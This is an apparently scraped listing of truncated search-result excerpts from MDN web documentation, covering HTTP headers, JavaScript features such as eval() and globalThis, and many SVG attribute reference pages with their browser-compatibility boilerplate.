Syntax Feature-Policy: usb <allowlist>; <allowlist> An allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: The feature will be allowed in this document, and all nested browsing contexts (iframes) regardless of their origin. 'self': The feature will be allowed in this document, and in all nested browsing contexts (iframes) in the same origin. ...
...nested browsing contexts (iframes) in the same origin. The feature is not allowed in cross-origin documents in nested browsing contexts. 'none': The feature is disabled in top-level and nested browsing contexts. Default policy The default value is 'self'. Specifications Specification Status Comment Feature Policy Editor's Draft Initial definition.
WebUSBThe definition of 'Feature-Policy integration' in that specification. Draft Default allow list is 'self'. ...
Feature-Policy: xr-spatial-tracking - HTTP
This policy controls whether navigator.xr.requestSession() can return XRSession that requires spatial tracking and whether user agent can indicate support for sessions supporting spatial tracking via navigator.xr.isSessionSupported() and devicechange event on navigator.xr object. ...
... Working Draft ...
Referer - HTTP
The Referer header allows servers to identify where people are visiting them from and may use that data for analytics, logging, or optimized caching, for example. Important: Although this header has many innocent uses it can have undesirable consequences for user security and privacy. See Referer header: privacy and security concerns for more information and mitigations. Note that referer is actually a misspelling of the word "referrer". See HTTP referer on Wikipedia for more details. A Referer header is not sent by browsers if: The referring resource is a local "file" or "data" URI. ...
...ore details. A Referer header is not sent by browsers if: The referring resource is a local "file" or "data" URI. An unsecured HTTP request is used and the referring page was received with a secure protocol (HTTPS). Header type Request header Forbidden header name yes Syntax Referer: <url> Directives <url> An absolute or partial address of the previous
web page from which a link to the currently requested page was followed. URL fragments (i.e. "#section") and userinfo (i.e. "username:password" in "https://username:password@example.com/foo/bar/") are not included. Examples Referer: https://developer.mozilla.org/docs/
Web/JavaScript Specifications Specification Title RFC 7231, section 5.5.2: Referer Hypertext Transfer ...
Sec-Fetch-Mode - HTTP
The Sec-Fetch-Mode fetch metadata header indicates the request's mode. ...
...eader type Fetch Metadata Request Header Forbidden header name yes, since it has prefix Sec- CORS-safelisted request header Syntax Sec-Fetch-Mode: cors Sec-Fetch-Mode: navigate Sec-Fetch-Mode: nested-navigate Sec-Fetch-Mode: no-cors Sec-Fetch-Mode: same-origin Sec-Fetch-Mode:
websocket Values cors navigate nested-navigate no-cors same-origin
websocket Examples TODO Specifications Specification Title Fetch Metadata Request Headers The Sec-Fetch-Mode HTTP Request Header ...
Set-Cookie - HTTP
ge (HTTPS), must not have a domain specified (and therefore aren't sent to subdomains) and the path must be /. Expires=<date> Optional The maximum lifetime of the cookie as an HTTP-date timestamp. See Date for the required formatting. If unspecified, the cookie becomes a session cookie. A session finishes when the client shuts down, and session cookies will be removed. Warning: Many
web browsers have a session restore feature that will save all tabs and restore them next time the browser is used. Session cookies will also be restored, as if the browser was never closed. When an Expires date is set, the deadline is relative to the client the cookie is being set on, not the server. Max-Age=<number> Optional Number of seconds until the cookie expires. A zero or negative num...
...m) are ignored. Multiple host/domain values are not allowed, but if a domain is specified, then subdomains are always included. Path=<path-value> Optional A path that must exist in the requested URL, or the browser won't send the Cookie header. The forward slash (/) character is interpreted as a directory separator, and subdirectories will be matched as well: for Path=/docs, /docs, /docs/
Web/, and /docs/
Web/HTTP will all match. Secure Optional A secure cookie is only sent to the server when a request is made with the https: scheme. (However, confidential information should never be stored in HTTP Cookies, as the entire mechanism is inherently insecure and doesn't encrypt any information.) Note: Insecure sites (http:) can't set cookies with the Secure attribute (since Chrome 52 and...
Upgrade - HTTP
HTTP/2 explicitly disallows the use of this mechanism/header; it is specific to HTTP/1.1. ...
...n: upgrade Upgrade: a_protocol/1, example ,another_protocol/2.2 Directives any comma-separated list protocol names (each with optional protocol version) One or more protocol names with optional version ("/" separated). The protocols are listed in order of descending preference. ...
X-Content-Type-Options - HTTP
The X-Content-Type-Options response HTTP header is a marker used by the server to indicate that the MIME types advertised in the Content-Type headers should not be changed and be followed. This is a way to opt out of MIME type sniffing, or, in other words, to say that the MIME types are deliberately configured. ...
...Make sure to set both headers correctly. Site security testers usually expect this header to be set. Note: X-Content-Type-Options only apply request-blocking due to nosniff for request destinations of "script" and "style". ...
Network Error Logging - HTTP
Reports are sent to a reporting group defined within a Report-To header. Usage
Web applications opt in to this behaviour with the NEL header, which is a JSON-encoded object: NEL: { "report_to": "nel", "max_age": 31556952 } An origin considered secure by the browser is required. ...
... Network Error Logging is a mechanism that can be configured via the NEL HTTP response header. This experimental header allows
web sites and applications to opt-in to receive reports about failed (and, if desired, successful) network fetches from supporting browsers. Reports are sent to a reporting group defined within a Report-To header. Usage
Web applications opt in to this behaviour with the NEL header, which is a JSON-encoded object: NEL: { "report_to": "nel", "max_age": 31556952 } An origin considered secure by the browser is required. The following object keys can be specified in the NEL header: report_to The reporting API group to send network error reports to (see below). max_age Specifies the lifetime of the policy, in seconds (in a similar way to e.g. HSTS ...
Proxy Auto-Configuration (PAC) file - HTTP
The JavaScript function contained in the PAC file defines the function: function FindProxyForURL(url, host) { // ... } Syntax function FindProxyForURL(url, host) Parameters url The URL being accessed. The path and query components of https:// URLs are stripped. ...
...url, host) { if (isPlainHostName(host) || dnsDomainIs(host, ".mozilla.org")) { return "DIRECT"; } else { return "PROXY w3proxy.mozilla.org:8080; DIRECT"; } } Note: This is the simplest and most efficient autoconfig file for cases where there's only one proxy. ...
507 Insufficient Storage - HTTP
The HyperText Transfer Protocol (HTTP) 507 Insufficient Storage response status code may be given in the context of the
Web Distributed Authoring and Versioning (
WebDAV) protocol (see RFC 4918). It indicates that a method could not be performed because the server cannot store the representation needed to successfully complete the request. ...
...e given in the context of the
Web Distributed Authoring and Versioning (
WebDAV) protocol (see RFC 4918). It indicates that a method could not be performed because the server cannot store the representation needed to successfully complete the request. ...
508 Loop Detected - HTTP
The HyperText Transfer Protocol (HTTP) 508 Loop Detected response status code may be given in the context of the
Web Distributed Authoring and Versioning (
WebDAV) protocol. It indicates that the server terminated an operation because it encountered an infinite loop while processing a request with "Depth: infinity". This status indicates that the entire operation failed. ...
...f the
Web Distributed Authoring and Versioning (
WebDAV) protocol. It indicates that the server terminated an operation because it encountered an infinite loop while processing a request with "Depth: infinity". This status indicates that the entire operation failed. ...
Indexed collections - JavaScript
ilar way to arrays: Array.prototype.forEach.call('a string', function(chr) { console.log(chr) }) Typed Arrays JavaScript typed arrays are array-like objects and provide a mechanism for accessing raw binary data. As you already know, Array objects grow and shrink dynamically and can have any JavaScript value. JavaScript engines perform optimizations so that these arrays are fast. However, as
web applications become more and more powerful, adding features such as audio and video manipulation, access to raw data using
WebSockets, and so forth, it has become clear that there are times when it would be helpful for JavaScript code to be able to quickly and easily manipulate raw binary data in typed arrays. Buffers and views: typed array architecture To achieve maximum flexibility and effici...
...buffer. Typed array views Typed array views have self descriptive names and provide views for all the usual numeric types like Int8, Uint32, Float64 and so forth. There is one special typed array view, {jsxref("Uint8ClampedArray")}}, which clamps the values between 0 and 255. This is useful for Canvas data processing, for example. ...
Date - JavaScript
JavaScript Date objects represent a single moment in time in a platform-independent format. Date objects contain a Number that represents milliseconds since 1 January 1970 UTC. TC39 is working on Temporal, a new Date/Time API. Read more about it on the Igalia blog and fill out the survey. It needs real-world feedback from
web developers, but is not yet ready for production use! Description The ECMAScript epoch and timestamps A JavaScript date is fundamentally specified as the number of milliseconds that have elapsed since midnight on January 1, 1970, UTC. This date and time is the same as the UNIX epoch, which is the predominant base value for computer-recorded date and time values. Note: It's important to keep in mind that while the time value at the heart of a Date object is UTC, t...
... Get the number of seconds since the ECMAScript Epoch let seconds = Math.floor(Date.now() / 1000) In this case, it's important to return only an integer--so a simple division won't do. It's also important to only return actually elapsed seconds.
Object.prototype.__proto__ - JavaScript
d. If you care about performance you should avoid setting the [[Prototype]] of an object. Instead, create a new object with the desired [[Prototype]] using Object.create(). Warning: While Object.prototype.__proto__ is supported today in most browsers, its existence and exact behavior has only been standardized in the ECMAScript 2015 specification as a legacy feature to ensure compatibility for
web browsers. For better support, use Object.getPrototypeOf() instead. The __proto__ property of Object.prototype is an accessor property (a getter function and a setter function) that exposes the internal [[Prototype]] (either an object or null) of the object through which it is accessed. The use of __proto__ is controversial and discouraged. It was never originally included in the ECMAScript la...
...function) that exposes the internal [[Prototype]] (either an object or null) of the object through which it is accessed. The use of __proto__ is controversial and discouraged. It was never originally included in the ECMAScript language spec, but modern browsers implemented it anyway. Only recently was the __proto__ property standardized by the ECMAScript 2015 specification for compatibility with
web browsers, so it will be supported into the future. It is deprecated in favor of Object.getPrototypeOf/Reflect.getPrototypeOf and Object.setPrototypeOf/Reflect.setPrototypeOf (though still, setting the [[Prototype]] of an object is a slow operation that should be avoided if performance is a concern). The __proto__ property can also be used in an object literal definition to set the object [[Proto...
String.prototype.substring() - JavaScript
nsole.log(text.slice(-5, 2)) // => "" console.log(text.slice(-5, -2)) // => "zil" See the slice() page for more examples with negative numbers. Replacing a substring within a string The following example replaces a substring within a string. It will replace both individual characters and substrings. The function call at the end of the example changes the string Brave New World to Brave New
Web. ...
... the example changes the string Brave New World to Brave New
Web. // Replaces oldS with newS in the string fullS function replaceString(oldS, newS, fullS) { for (let i = 0; i < fullS.length; ++i) { if (fullS.substring(i, i + oldS.length) == oldS) { fullS = fullS.substring(0, i) + newS + fullS.substring(i + oldS.length, fullS.length) } } return fullS } replaceString('World', '
Web', 'Brave New World') Note that this can result in an infinite loop if oldS is itself a substring of newS -- for example, if you attempted to replace 'World' with 'OtherWorld' here. A better method for replacing strings is as follows: function replaceString(oldS, newS, fullS) { return fullS.split(oldS).join(newS) } The code above serves as an example for substring operations. If you need t...
eval() - JavaScript
e, throws ReferenceError because `x` is undefined (0, eval)('x + y'); // another example of Indirect call } Never use eval()! eval() is a dangerous function, which executes the code it's passed with the privileges of the caller. If you run eval() with a string that could be affected by a malicious party, you may end up running malicious code on the user's machine with the permissions of your
webpage / extension. More importantly, a third-party code can see the scope in which eval() was invoked, which can lead to possible attacks in ways to which the similar Function is not susceptible. eval() is also slower than the alternatives, since it has to invoke the JavaScript interpreter, while many other constructs are optimized by modern JS engines. Additionally, modern javascript interpreter...
...ax is limited compared to JavaScript syntax, many valid JavaScript literals will not parse as JSON. For example, trailing commas are not allowed in JSON, and property names (keys) in object literals must be enclosed in quotes. Be sure to use a JSON serializer to generate strings that will be later parsed as JSON. Pass data instead of code For example, an extension designed to scrape contents of
web-pages could have the scraping rules defined in XPath instead of JavaScript code. Run code with limited privileges If you must run the code, consider running it with reduced privileges. This advice applies mainly to extensions and XUL applications, which can use Components.utils.evalInSandbox for this. Examples Using eval In the following code, both of the statements containing eval() return ...
globalThis - JavaScript
project, please clone https://github.com/mdn/interactive-examples and send us a pull request. Property attributes of globalThis Writable yes Enumerable no Configurable yes Description Historically, accessing the global object has required different syntax in different JavaScript environments. On the
web you can use window, self, or frames - but in
Web Workers only self will work. In Node.js none of these work, and you must instead use global. The this keyword could be used inside functions running in non-strict mode, but this will be undefined in Modules and inside functions running in strict mode. You can also use Function('return this')(), but environments that disable eval(), like CSP in bro...
...it's guaranteed to work in window and non-window contexts. In this way, you can access the global object in a consistent manner without having to know which environment the code is being run in.To help you remember the name, just remember that in global scope the this value is globalThis. HTML and the WindowProxy In many engines globalThis will be a reference to the actual global object, but in
web browsers, due to iframe and cross-window security considerations, it references a Proxy around the actual global object (which you can't directly access). This distinction is rarely relevant in common usage, but important to be aware of. Naming Several other popular name choices such as self and global were removed from consideration because of their potential to break compatibility with existi...
Strict mode - JavaScript
must be made possible to provide a reference to the un-inlined function if arguments.callee is accessed. arguments.callee for strict mode functions is a non-deletable property which throws an error when set or retrieved: 'use strict'; var f = function() { return arguments.callee; }; f(); // throws a TypeError "Securing" JavaScript Strict mode makes it easier to write "secure" JavaScript. Some
websites now provide ways for users to write JavaScript which will be run by the
website on behalf of other users. JavaScript in browsers can access the user's private information, so such JavaScript must be partially transformed before it is run, to censor access to forbidden functionality. JavaScript's flexibility makes it effectively impossible to do this without many runtime checks. Certain langu...
...nterface; // !!! } function private() { } // !!! } function fun(static) { 'use strict'; } // !!! Two Mozilla-specific caveats: First, if your code is JavaScript 1.7 or greater (for example in chrome code or when using the right <script type="">) and is strict mode code, let and yield have the functionality they've had since those keywords were first introduced. But strict mode code on the
web, loaded with <script src=""> or <script>...</script>, won't be able to use let/yield as identifiers. Second, while ES5 unconditionally reserves the words class, enum, export, extends, import, and super, before Firefox 5 Mozilla reserved them only in strict mode. Second, strict mode prohibits function statements, not at the top level of a script or function. In normal mode in browsers, function s...
JavaScript shells - JavaScript
They are extremely useful for developing and debugging code. Standalone JavaScript shells The following JavaScript shells are stand-alone environments, like Perl or Python. Node.js - Node.js is a platform for easily building fast, scalable network applications. JSDB - A standalone JavaScript shell, with compiled binaries for Windows, Mac, and Linux. JavaLikeScript - A standalone, extensible JavaScript shell including both native and JavaScript libraries. GLUEscript - A standalone JavaScript shell for writing cross-platform JavaScript applications. ...
...aScript xpcshell is an XPConnect - enabled shell, sometimes useful for Mozilla development. Babel REPL - A browser-based REPL for experimenting with future JavaScript. ES6Console.com - An open-source JavaScript console to test ECMAScript 2015 code inside the browser. jsconsole.com -- An open-source JavaScript console with the ability to easily link to particular expressions JavaScript Shell (
web page) - also available as part of the Extension Developer's Extension Jash: JavaScript Shell - a DHTML based shell that gives you command line access to a
web page. MozRepl - Connect to Firefox and other Mozilla apps, explore and modify them from the inside, while they're running. Execute JS - (No longer maintained) - Firefox-Extension which provides an enhanced JavaScript-Console, where you c...
MathML documentation index - MathML
Found 40 pages: # Page Tags and summary 1 MathML Landing, MathML, Reference,
Web, XML Mathematical Markup Language (MathML) is a dialect of XML for describing mathematical notation and capturing both its structure and content. 2 Authoring MathML Beginner, MathML, MathML Project This page explains how to write mathematics using the MathML language. Just like HTML, MathML is described with tags and attributes. HTML becomes verbose when your document contains advanced structures like lists or tables but fortunately there are many generators from simple notations, WYSIWYG editors and other Content Management Systems to help writing
Web pages. 3 Examples Beginner, Example, Guide, MathML, NeedsBeginnerUpdate Below you'l...
... 4 MathML: Deriving the Quadratic Formula Beginner, Education, Example, Guide, HTML5, MathML, NeedsBeginnerUpdate This page outlines the derivation of the Quadratic Formula. ...
MathML
nt and compatibility information for desktop and mobile browsers. MathML attribute reference Information about MathML attributes that modify the appearance or behavior of elements. MathML examples MathML samples and examples to help you understand how it works. ...
...how to integrate their output into
Web content. View All... Getting help from the community View Mozilla forums... Mailing list Newsgroup RSS feed Matrix chat room Wiki used by Mozilla contributors W3C Math Home www-math w3.org mail archive Tools W3C Validator Mathzilla Firefox add-on collection TeXZilla -- Javascript LaTeX to MathML converter (live demo, Firefox OS
webapp, Firefox add-on, using in a
Web Page, JS program etc) LaTeXML - Convert LaTeX documents into HTML+MathML
Web pages
Web Equation - Turn handwritten equations into MathML or LaTeX MathJax - Cross-browser JavaScript display engine for mathematics. To force MathJax to use native MathML, try this Mozilla add-on, this Safari extension or this GreaseMonkey script. Related topics CSS HTML SV...
alignment-baseline - SVG: Scalable Vector Graphics
The definition of 'alignment-baseline' in that specification. Recommendation Initial definition Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...sktopMobileChromeEdgeFirefoxInternet ExplorerOperaSafariAndroid
webviewChrome for AndroidFirefox for AndroidOpera for AndroidSafari on iOSSamsung Internetalignment-baselineChrome ? Edge ? Firefox ? IE ? Opera ? Safari ?
WebView Android ? Chrome Android ? Firefox Android ? Opera Android ? Safari iOS ? Samsung Internet Android ? Legend Compatibility unknown Compatibility un...
baseline-shift - SVG: Scalable Vector Graphics
The definition of 'alignment-baseline' in that specification. Recommendation Initial definition Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... DesktopMobileChromeEdgeFirefoxInternet ExplorerOperaSafariAndroid
webviewChrome for AndroidFirefox for AndroidOpera for AndroidSafari on iOSSamsung Internetbaseline-shiftChrome ? Edge ? Firefox ? IE ? Opera ? Safari ?
WebView Android ? Chrome Android ? Firefox Android ? Opera Android ? Safari iOS ? Samsung Internet Android ? Legend Compatibility unknown Compatibility un...
clip-path - SVG: Scalable Vector Graphics
rence box. Note: For more details on the clip-path syntax, see the CSS property clip-path reference page. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...uest. ...
clip-rule - SVG: Scalable Vector Graphics
an use the clip-rule attribute, but only if they are inside a <clipPath> element. Graphical elements >> Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...uest. ...
color-interpolation-filters - SVG: Scalable Vector Graphics
ition of 'color-interpolation-filters' in that specification. Recommendation Initial definition Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...leChromeEdgeFirefoxInternet ExplorerOperaSafariAndroid
webviewChrome for AndroidFirefox for AndroidOpera for AndroidSafari on iOSSamsung Internetcolor-interpolation-filtersChrome ? Edge ? Firefox ? IE ? Opera ? Safari ?
WebView Android ? Chrome Android ? Firefox Android ? Opera Android ? Safari iOS ? Samsung Internet Android ? Legend Compatibility unknown Compatibility un...
color-interpolation - SVG: Scalable Vector Graphics
he definition of 'color-interpolation' in that specification. Recommendation Initial definition Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...ktopMobileChromeEdgeFirefoxInternet ExplorerOperaSafariAndroid
webviewChrome for AndroidFirefox for AndroidOpera for AndroidSafari on iOSSamsung Internetcolor-interpolationChrome ? Edge ? Firefox ? IE ? Opera ? Safari ?
WebView Android ? Chrome Android ? Firefox Android ? Opera Android ? Safari iOS ? Samsung Internet Android ? Legend Compatibility unknown Compatibility un...
color - SVG: Scalable Vector Graphics
cond Edition)The definition of 'color' in that specification. Recommendation Initial definition Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... request. ...
cursor - SVG: Scalable Vector Graphics
ements The following elements can use the cursor attribute Container elements >> Graphics elements >> Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...request. ...
dominant-baseline - SVG: Scalable Vector Graphics
)The definition of 'dominant-baseline' in that specification. Recommendation Initial definition Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...esktopMobileChromeEdgeFirefoxInternet ExplorerOperaSafariAndroid
webviewChrome for AndroidFirefox for AndroidOpera for AndroidSafari on iOSSamsung Internetdominant-baselineChrome ? Edge ? Firefox ? IE ? Opera ? Safari ?
WebView Android ? Chrome Android ? Firefox Android ? Opera Android ? Safari iOS ? Samsung Internet Android ? Legend Compatibility unknown Compatibility un...
fill-opacity - SVG: Scalable Vector Graphics
compatibility below) as a consequence, it is best practices to set opacity with a value in the range [0-1]. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...t. ...
fill-rule - SVG: Scalable Vector Graphics
rule="evenodd" stroke="red" d="M210,0 h90 v90 h-90 z M230,20 v50 h50 v-50 z"/> </svg> Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...uest. ...
fill - SVG: Scalable Vector Graphics
inition of 'fill' in that specification. Recommendation Initial definition for shapes and texts Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...l request. ...
filter - SVG: Scalable Vector Graphics
ond Edition)The definition of 'filter' in that specification. Recommendation Initial definition Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...request. ...
font-family - SVG: Scalable Vector Graphics
dition)The definition of 'font-family' in that specification. Recommendation Initial definition Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...st. ...
font-style - SVG: Scalable Vector Graphics
Edition)The definition of 'font-style' in that specification. Recommendation Initial definition Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...est. ...
font-weight - SVG: Scalable Vector Graphics
dition)The definition of 'font-weight' in that specification. Recommendation Initial definition Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...st. ...
pointer-events - SVG: Scalable Vector Graphics
For a detailed explanation of each possible value, have a look at the CSS pointer-events documentation. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... DesktopMobileChromeEdgeFirefoxInternet ExplorerOperaSafariAndroid
webviewChrome for AndroidFirefox for AndroidOpera for AndroidSafari on iOSSamsung Internetpointer-eventsChrome ? Edge ? Firefox ? IE ? Opera ? Safari ?
WebView Android ? Chrome Android ? Firefox Android ? Opera Android ? Safari iOS ? Samsung Internet Android ? Legend Compatibility unknown Compatibility un...
shape-rendering - SVG: Scalable Vector Graphics
on)The definition of 'shape-rendering' in that specification. Recommendation Initial definition Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... DesktopMobileChromeEdgeFirefoxInternet ExplorerOperaSafariAndroid
webviewChrome for AndroidFirefox for AndroidOpera for AndroidSafari on iOSSamsung Internetshape-renderingChrome ? Edge ? Firefox ? IE ? Opera ? Safari ?
WebView Android ? Chrome Android ? Firefox Android ? Opera Android ? Safari iOS ? Samsung Internet Android ? Legend Compatibility unknown Compatibility un...
stroke-dasharray - SVG: Scalable Vector Graphics
list of values is repeated to yield an even number of values. Thus, 5,3,2 is equivalent to 5,3,2,5,3,2. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...DesktopMobileChromeEdgeFirefoxInternet ExplorerOperaSafariAndroid
webviewChrome for AndroidFirefox for AndroidOpera for AndroidSafari on iOSSamsung Internetstroke-dasharrayChrome ? Edge ? Firefox ? IE ? Opera ? Safari ?
WebView Android ? Chrome Android ? Firefox Android ? Opera Android ? Safari iOS ? Samsung Internet Android ? Legend Compatibility unknown Compatibility un...
stroke-dashoffset - SVG: Scalable Vector Graphics
he pathLength but if a <percentage> is used, the value is resolved as a percentage of the current viewport. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...esktopMobileChromeEdgeFirefoxInternet ExplorerOperaSafariAndroid
webviewChrome for AndroidFirefox for AndroidOpera for AndroidSafari on iOSSamsung Internetstroke-dashoffsetChrome ? Edge ? Firefox ? IE ? Opera ? Safari ?
WebView Android ? Chrome Android ? Firefox Android ? Opera Android ? Safari iOS ? Samsung Internet Android ? Legend Compatibility unknown Compatibility un...
stroke-linecap - SVG: Scalable Vector Graphics
> <circle cx="5" cy="1" r="0.05" fill="pink" /> <circle cx="3" cy="3" r="0.05" fill="pink" /> </svg> Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... DesktopMobileChromeEdgeFirefoxInternet ExplorerOperaSafariAndroid
webviewChrome for AndroidFirefox for AndroidOpera for AndroidSafari on iOSSamsung Internetstroke-linecapChrome ? Edge ? Firefox ? IE ? Opera ? Safari ?
WebView Android ? Chrome Android ? Firefox Android ? Opera Android ? Safari iOS ? Samsung Internet Android ? Legend Compatibility unknown Compatibility un...
stroke-miterlimit - SVG: Scalable Vector Graphics
e 4 Animatable Yes The value of stroke-miterlimit must be greater than or equal to 1. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...esktopMobileChromeEdgeFirefoxInternet ExplorerOperaSafariAndroid
webviewChrome for AndroidFirefox for AndroidOpera for AndroidSafari on iOSSamsung Internetstroke-miterlimitChrome ? Edge ? Firefox ? IE ? Opera ? Safari ?
WebView Android ? Chrome Android ? Firefox Android ? Opera Android ? Safari iOS ? Samsung Internet Android ? Legend Compatibility unknown Compatibility un...
stroke-opacity - SVG: Scalable Vector Graphics
bal opacity with the opacity attribute or to put the stroke behind the fill with the paint-order attribute. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... DesktopMobileChromeEdgeFirefoxInternet ExplorerOperaSafariAndroid
webviewChrome for AndroidFirefox for AndroidOpera for AndroidSafari on iOSSamsung Internetstroke-opacityChrome ? Edge ? Firefox ? IE ? Opera ? Safari ?
WebView Android ? Chrome Android ? Firefox Android ? Opera Android ? Safari iOS ? Samsung Internet Android ? Legend Compatibility unknown Compatibility un...
stroke-width - SVG: Scalable Vector Graphics
Note: A percentage value is always computed as a percentage of the normalized viewBox diagonal length. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...t. ...
stroke - SVG: Scalable Vector Graphics
ition of 'stroke' in that specification. Recommendation Initial definition for shapes and texts Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...request. ...
text-anchor - SVG: Scalable Vector Graphics
dition)The definition of 'text-anchor' in that specification. Recommendation Initial definition Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...st. ...
text-rendering - SVG: Scalable Vector Graphics
ion)The definition of 'text-rendering' in that specification. Recommendation Initial definition Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... DesktopMobileChromeEdgeFirefoxInternet ExplorerOperaSafariAndroid
webviewChrome for AndroidFirefox for AndroidOpera for AndroidSafari on iOSSamsung Internettext-renderingChrome ? Edge ? Firefox ? IE ? Opera ? Safari ?
WebView Android ? Chrome Android ? Firefox Android ? Opera Android ? Safari iOS ? Samsung Internet Android ? Legend Compatibility unknown Compatibility un...
writing-mode - SVG: Scalable Vector Graphics
ition)The definition of 'writing-mode' in that specification. Recommendation Initial definition Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...t. ...
<animate> - SVG: Scalable Vector Graphics
ractivity Disorder (ADHD). Additionally, certain kinds of motion can be a trigger for Vestibular disorders, epilepsy, and migraine and Scotopic sensitivity. Consider providing a mechanism for pausing or disabling animation, as well as using the Reduced Motion Media Query to create a complimentary experience for users who have expressed a preference for no animated experiences. ...
...nsider providing a mechanism for pausing or disabling animation, as well as using the Reduced Motion Media Query to create a complimentary experience for users who have expressed a preference for no animated experiences. Designing Safer
Web Animation For Motion Sensitivity . An A List Apart Article An Introduction to the Reduced Motion Media Query | CSS-Tricks Responsive Design for Motion |
WebKit MDN Understanding WCAG, Guideline 2.2 explanations Understanding Success Criterion 2.2.2 | W3C Understanding WCAG 2.0 Specifications Specification Status Comment SVG Animations Level 2The definition of '<animate>' in that specification. Editor's Draft No change Scalable Vector Graphics (SVG) 1.1 (Second Edition)The definition of '<animate>' in t...
Tools for SVG - SVG: Scalable Vector Graphics
On older or smaller devices, chances are that SVG Tiny is supported. ...
...modern browsers and therefore supports the newest SVG features like masking, clipping, patterns, full gradients, groups. It does not support the older browsers that Raphael does. Google Docs URL: www.google.com/google-d-s/drawings/ Drawings from Google Docs can be exported as SVG. Science The well-known plotting tools xfig and gnuplot both support exporting as SVG. To render graphs on the
web JSXGraph supports VML, SVG and canvas, automatically deciding which technology to use based on browser capabilities. In GIS (Geographic Information System) applications SVG is often used as both storage and rendering format. See carto.net for details. More tools! The W3C offers a list of programs that support SVG. << Previous ...
XML Index - XML: Extensible Markup Language
It stands for Extensible Markup Language and is a W3C recommended specification as a general purpose markup language. This means, unlike other markup languages, XML is not predefined so you must define your own tags. ...
...It stands for Extensible Markup Language and is a W3C recommended specification as a general purpose markup language. This means, unlike other markup languages, XML is not predefined so you must define your own tags. ...
Index - XPath
xt node and appear before the context node in the source document. 15 self Axe, XPath The self axis indicates the context node itself. It can be abbreviated as a single period (.). 16 Comparison of CSS Selectors and XPath CSS, Draft, NeedsContent, Reference, Selectors, XPath This article seeks to document the difference between CSS Selectors and XPath for
web developers to be able to better choose the right tool for the right job. 17 Functions Transforming_XML_with_XSLT, XPath, XPath_Reference, XSLT, XSLT_Reference No summary! 18 boolean XSLT, XSLT_Reference The boolean function evaluates an expression and returns true or false. 19 ceiling XSLT, XSLT_Reference The ceiling function evalua...
...rl XSLT, XSLT_Reference The unparsed-entity-url() function returns the URI of the unparsed entity with the given name. This is non-XML data referenced in the DTD of the source document. 55 Index Index, Reference, XPath, XSLT Found 57 pages: 56 Introduction to using XPath in JavaScript Add-ons, DOM, Extensions, JavaScript, Transforming_XML_with_XSLT,
Web Development, XML, XPath, XSLT This document describes the interface for using XPath in JavaScript internally, in extensions, and from
websites. Mozilla implements a fair amount of the DOM 3 XPath, which means that XPath expressions can be run against both HTML and XML documents. 57 XPath snippets Example, Snippets, XML, XPath, XSLT This article provides some XPath code ...
Index - XSLT: Extensible Stylesheet Language Transformations
XSLT/XPath Reference: XSLT elements, EXSLT functions, XPath functions, XPath axes Found 54 pages: # Page Tags and summary 1 XSLT: Extensible Stylesheet Language Transformations Landing,
